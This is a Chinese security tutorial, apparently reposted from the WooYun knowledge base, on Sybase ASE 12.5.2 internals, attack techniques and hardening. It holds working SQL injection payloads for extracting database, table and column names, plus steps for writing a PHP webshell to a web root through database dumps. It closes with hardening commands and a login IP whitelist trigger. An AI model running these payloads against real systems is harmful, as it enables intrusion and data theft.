0x00 Sybase数据库介绍


简介

Sybase的全称又叫: SAP Sybase Adaptive Server Enterprise(简称ASE或Sybase ASE),继承于MSSQL的原始代码,和MSSQL血缘很近。Sybase是一种关系型数据库系统,是一种典型的UNIX或WindowsNT平台上客户机/服务器环境下的大型数据库系统。它以PowerBuilder为开发工具,以SAP Sybase SQL Anywhere为客户端。目前新版是ASE 15.7.x,命名从12.5.5直接到15.0.0(跳过中间的13、14),本次测试的是12.5.2,其中12.5是12大版本中最稳定的版本。

创建数据库的时候要注意存放设备:

服务及端口

开放端口:

备份服务:5001、监控服务:5002、数据库主服务:5000、存储过程服务:5004

默认数据库

Master:系统的核心数据库,控制服务器的操作以及存储有关所有用户数据库和相关的存储设备的信息,包括用户的用户名和密码;

Model:模板数据库,当创建用户数据库时,系统根据model数据库制作副本,并将数据库的大小扩展到用户指定的大小。

Systemprocs:保存系统的存储过程。

Sybsystemdb:关于分布式事务管理功能。

Tempdb:包含临时表,放置临时数据。

注册用户和数据库用户

当SQL SERVER创建注册用户后,该用户就能合法进SQL SERVER,该注册用户信息会放在master数据库中的 syslogins表中。但只有注册用户成为某一数据库用户,并且对该用户赋予某些权限时,该注册用户才能在限制条件下使用数据库中的表。

创建注册用户:

1

2

<code>sp_addlogin loginame, passwd     (删除即为drop)

</code>

创建数据库用户:

1

2

<code>[dbname..] sp_adduser loginame    (此处的loginame 必须是注册用户,否则报错)

</code>

分配权限:

1

2

3

4

<code>grant all | select,insert,delete,update

on table_name | view_name | stored_procedure_name

to username

</code>

1

2

3

4

<code>grant all | create database,create

default,create procedure,create rule,create table,create view,set proxy,set session authorization

to username

</code>

数据库用户分类

sa用户、数据库属主、数据库对象属主和数据库普通用户

1)、sa用户:为系统用户,拥有全部的权限。

2)、数据库属主用户:数据库属主(dbo)用户可对本数据库中所有对象(如表、视图、存储过程等)进行操作。

3)、数据库对象属主:在实际管理中, ,一般为数据库属主。

4)、数据库普通用户:类似于public,数据库普通用户必须在数据库属主对本数据库中某些对象(如表、视图、进程等)赋予某些权限时,才可对本数据库中某些对象进行允许的操作。

别名(aliases)与组(group)

1)、别名:所谓别名(aliases)即将SQL SERVER中的注册用户以同一个数据库用户的身份来访问数据库,并具有与该用户相同的权限。

2)、组(group)为数据库用户的集合,即通过对组(group)的权限的控制达到对该组中数据库用户的控制,但也可对该组中数据库某些用户进行格外的权限控制。

角色

一般在管理分工较细的数据库系统中,sa用户往往被分为三种角色:系统管理员角色(SA role)、系统安全员角色(SSO role)、操作员角色(OPER role)。

连接及管理工具

1)、isql

类似于mysql数据库的的mysql.exe。可连接本地及网络数据库。 使用isql –U sa –P “”连接:

所有参数要区分大小写:

-?显示 isql 开关的语法摘要。

-L列出在本地配置的服务器和在网络上广播的服务器的名称。

-U login_id用户登录 ID。登录 ID 区分大小写。

-P password 是用户指定的密码。如果未使用-P 选项,isql 将提示输入密码。如果在命令提示的末尾使用 -P 选项而不带密码,isql 使用默认密码NULL)。密码区分大小写。

-S server_name 指定要连接到的 SQL Server 默认实例。如果未指定服务器,isql 将连接 到本地计算机上的 SQL Server 默认实例。如果要在网络上从远程计算机执行 isql,则需要此选项。

-H hostname 是使用的客户端的主机名称。

-d use database name,用于指定使用数据库名

2)、官方Sybase SQL Advantage

缺点:a、随数据库完整安装包一起发布,使用时有版本上的要求。

b、只支持SQL语句,个人觉得就是isql的图形化版,有所不便。

(Sql.ini设定及功能:http://blog.csdn.net/potato015/article/details/2450989 )

3)、官方Sybase Central

缺点:a、随数据库完整安装包一起发布,使用时有版本上的要求。

b、功能不是很强大

4)、DBArtisan

0x01 Sybase安全

执行系统命令

默认xp_cmdshell是不开启的。未开启xp_cmdshell时:

开启xp_cmdshell : sp_configure 'xp_cmdshell context',0

开启xp_cmdshell后执行命令:

权限不够时执行xp_cmdshell:

细节:

1、执行 sp_configure 'xp_cmdshell',0 允许所有含sa_role角色的login用户执行xp_cmdshell命令,此功能默认关闭

2、默认 sp_configure 'xp_cmdshell',1 经测试需要在windows下具有相同longin用户名称和密码,并且该用户隶属administrators权限组,还有一点不能忽略:取消选择“用户下次登录时需更改密码”!

3、MSSQL由于和windows集成,可以直接使用系统账户登录到数据库。而Sybase则需要按照上面第二步做配置才能达到和MSSQL类似的效果。

注释符与联合查询

支持union,可以用//、--来注释,可以用//来替换空格,也可以用+代替空格,也支持count(),不过通配符不能出现在子查询中。

12.5.2及以前的版本不支持TOP关键字,形如select top N from注入语句将报错

当然,不能用top,肯定会有替代方案,那就是set rowcount N

但是set rowcount N貌似不支持子查询和条件句:

多句执行

与mssql不同的地方是:多条语句直接以空格分隔,而不是分号。

对编码的支持

与MSSQL相同:

SQL注入特性

以Php为脚本:

以Java为脚本:

判断是否是Sybase数据库:

1

2

<code>id=1 and exists(select * from master.dbo.ijdbc_function_escapes)

</code>

以报错方式注入时要注意,sybase是不支持不同类型数据直接相比较的(与MSSQL不同):

1

2

3

4

5

6

7

8

9

10

11

<code>id=1 and 1=user

id=1 and 1=convert(integer,user)

![enter image description here][28]

id=1 and 1=convert(integer,(select+@@version))

![enter image description here][29]

id=-1 union select 1,"",(select @@version)

</code>

列库(复杂版本):

1

2

<code>id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32))) FROM (SELECT name FROM master..sysdatabases) AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>‘ ’))

</code>

列出第一个库master

1

2

<code>id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32))) FROM (SELECT name FROM master..sysdatabases) AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>’master‘)) 

</code>

列出除master外的第一个库

列库(简单版本):

1

2

<code>id=1 and 1=convert(integer,(SELECT name FROM master..sysdatabases where dbid=1))   不断递增dbid的值

</code>

dbid是连续的数字,猜解起来很容易

PS:虽然Sybase不能用TOP、for xml path,但是支持having、where not in等语法,变化方式依然有多种

与MSSQL不同的一点:

MSSQL是xtype Sybase是type

列表(只能用复杂版):

1

2

<code>id=1 and 1=convert(integer,(select MIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32))) from (select name from test.dbo.sysobjects where type=‘U’) AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>‘ ’))

</code>

列出第一个表cmd

1

2

<code>id=1 and 1=convert(integer,(select MIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32))) from (select name from test.dbo.sysobjects where type=‘U’) AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>‘cmd’))

</code>

列出除cmd外的第一个表cmd0

列字段:

1

2

<code>select name from test..syscolumns where id=object_id(‘users’) and colid=1  递增colid

</code>

即:

1

2

<code>id=1 and 1=convert(integer,(select name from test..syscolumns where id=object_id('users') and colid=1))

</code>

工具注入:

穿山甲猜不出库名,抓包发现使用了TOP关键字,看来穿山甲只支持12.5.3以后的sybase

备份写文件(webshell)

前提条件:

1、备份服务打开

2、备份服务允许远程访问

3、有数据库权限(宿主权限)+磁盘写权限

步骤:

1

2

3

4

5

6

7

8

9

10

11

12

13

<code>1、create table cmd(a image)—

2、insert into cmd(a) values ('<?php phpinfo();?>')—

3、dump database test to ‘C:\wamp\www\1.php’ 【全备份】

(对应MSSQL为:backup database 库名 to disk= 'C:\wamp\www\1.php ' WITH DIFFERENTIAL,FORMAT;--)

   dump TRANSACTION test to ‘C:\wamp\www\1.php’ 【LOG备份】

(对应MSSQL为:backup log 库名 to disk='d:\www\xxx\test.asp'--)

注:使用dump TRANSACTION时要求数据文件和日志文件不能存放在同一设备中。

4、drop table cmd--

</code>

加固与防范

口令

1

2

<code>sp_password  “原密码”, “新密码”,用户名

</code>

例如将sa用户的密码由空改为123456: sp_password NULL,”123456”,sa

1

2

3

4

5

6

7

8

<code>sp_configure “minimum password length”,8    ---密码最短长度

sp_configure “check password for digit”,1   ---至少包含一个数字

sp_configure “systemwide password expiration”,90   ---口令有效时长

sp_configure “maximum failed logins”,5   ---设置口令错误锁定阀值

</code>

删除扩展存储过程xp_cmdshell, 并删 除 sybsyesp.dll

1

2

<code>exec  sp_dropextendedproc  xp_cmdshell

</code>

关闭sa账户的使用:

1

2

<code>sp_locklogin sa,"lock“

</code>

关闭远程访问:

1

2

<code>exec sp_configure “allow remote access” ,0

</code>

关闭后,很多服务将无法使用,比如备份

登陆IP白名单

系统没有和登陆相关的限制设置,只能通过创建登录触发器来实现登陆IP白名单

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

<code>create procedure login_trg 

as 

   <a class="__cf_email__" href="http://drops.xmd5.com/cdn-cgi/l/email-protection">[email protected]</a>(18),@login_name varchar(20) 

begin 

   select

   @ip=t.ipaddr,@login_name=suser_name() 

   from master.dbo.sysprocesses t where t.spid=@@spid 

   <a class="__cf_email__" href="http://drops.xmd5.com/cdn-cgi/l/email-protection">[email protected]</a><>'192.168.0.102'

      begin 

         raiserror 30000 'IP address %1! ,with user %2! login failed!',@ip,@login_name 

         select syb_quit() 

      end 

   else

       print 'Welcome!'

end 

</code>

创建登录触发器后,执行如下命令:

1

2

3

<code>isql>grant execute on login_trg to loginname 

isql>sp_modifylogin loginname, "login script",login_trg

</code>

日志

1

2

3

<code>isql>exec sp_configure "log audit logon failure",1 --记录登录失败信息

isql>exec sp_configure "log audit logon success",1 --记录登录成功信息

</code>

/uploads/2015/08/

本文章来源于乌云知识库,文章版权归乌云知识库!

Sybase数据库安全相关推荐

  1. 双剑合璧保障数据库安全

    烽火台已经和大家接触了有段日子了,相信通过前面十几台的介绍,大家已经对它的功能.特点有了比较深的了解.今天的主题是数据库安全,借着这个机会给大家介绍下我们的烽火台和锐御WAF如何双剑合璧来保障数据库安 ...

  2. mysql安全保密设计_数据库安全于保密

    随着计算机科学技术的发展与普及, 特别是计算机在国民经济各重要部门的广泛应用 计算机安全已是当前信息社会非常关注的突出问题 而数据库系统 担负着存储和管理上述数据信息的任务.因而 如何保证和加强其安全 ...

  3. 防统方Oracle,风信子医院数据库安全与防统方解决方案

    三.数据库安全审计系统方案的优势解决方案 1.最全的数据库类型支持 风信子医院数据库安全与防统方系统支持目前市场上绝大部分的数据库类型,如Oracle.MS SQL server.DB2.Sybase ...

  4. sybase Invalid command line argument 'and'.

    解决方法: 先到sybase central安装目录下(我这里是:C:\sybase\ASE-12_0\bin\syconfig.exe)双击看能不能正常运行.如果可以,就证明是开始菜单里的" ...

  5. .net中连接SYBASE的种种问题

    作者:zwztu      http://search.csdn.net/Expert/topic/1612/1612693.xml?temp=.2369806 首先如果用OLEDB连呢?如果用ASE ...

  6. DTCC:数据库安全重点在数据拷贝过程中

    本文讲的是DTCC:数据库安全重点在数据拷贝过程中,2017年5月11日-13日,2017中国数据库技术大会于北京国际会议中心盛大开幕.作为国内最受关注的数据库技术大会,本届大会以"数据驱动 ...

  7. oracle 修改用户密码_干货!数据库安全之Oracle数据库安全加固

    前言 最近打算整理一下资料,写几篇关于数据库安全的文章.特此记录,方便查阅. 操作流程 帐号权限加固 1.限制应用用户在数据库中的权限,尽量保证最小化避免授予了 DBA 权限 1.查看权限 SQL&g ...

  8. 使用isql连接Sybase ASE数据库的常见错误及处理方式

    使用isql连接Sybase ASE数据库 Sybase ASE客户端工具中有一个比较实用的命令行工具isql.利用isql可以对ASE数据库服务器进行几乎所有的管理维护工作. 下面用isql工具连接 ...

  9. 如何使Sybase ASE中对象名不区分大小写?

    在Sybase ASE中默认的情况是对象名或者字段名区分大小写,数据库内的字符按照二进制进行排序.单字节字符就按照字符的ASCII值排序,对于多字节(如:一个汉字)字符则是按照第一个字节的ASCII值 ...

  10. sybase备份问题

    备份数据库时,应先启动备用数据库,之后isql进入到数据库中 dump database 数据库名称 to "绝对路径" 在不能启动备用数据库时应修改 /opt/sybase/AS ...

最新文章

  1. 67)vector的begin() end() 和 front() back()的区别 rbegin() rend()
  2. Hbase 和 MySQL 的区别是什么?一文深度对比!
  3. python脚本实例手机端-Python脚本实现自动化Android手机apk安装实例
  4. 4行代码AC——L1-024 后天(5分)
  5. 编写高性能 .NET 代码 第二章:垃圾回收
  6. git add 命令的一个习惯用法:逐个挑选改动
  7. 【华为云技术分享】mongos-sharding连接池配置
  8. 新iPhone又被各个品牌玩坏了,这里的人个个都是人才,说话又好听…
  9. C#调用API函数EnumWindows枚举窗口的方法
  10. 学习.net设计规范记录
  11. uctools.php,Discuz曝出安全隐患 XSS脚本漏洞和uctools.php
  12. java jxls_jxls2.3-简明教程
  13. vi/vim怎么对多行文字进行注释/取消注释
  14. 小刘的自学安卓开发第一天
  15. iOS 给文字添加删除线
  16. iacr是什么会议_计算机国际安全顶级会议
  17. eclipse小应用程序||eclipse切换低版本JDK实现JavaAPPlet
  18. 笔记本使用GPRS上网教程
  19. YUV数据格式的转换(NV12ToI420)和旋转(旋转90度)
  20. 码云图床失效解决方案

热门文章

  1. maya藤蔓插件_用maya制作藤蔓蔓延的效果
  2. 网页版视频监控系统完整版
  3. 退火算法(Annealing)简介与详解
  4. B2 Spice A/D v4.1.2.0 Pro
  5. linux自己写摄像头驱动,详解linux 摄像头驱动编写
  6. 第八章--注册码是怎样炼成的
  7. python knn预测双色球_用KNN和回归分析进行预测(python)
  8. 淘宝,京东,苏宁易购技术架构(路线)分析和比较
  9. 相对客观的权重计算方法——熵权法
  10. 加密狗破解加密狗复制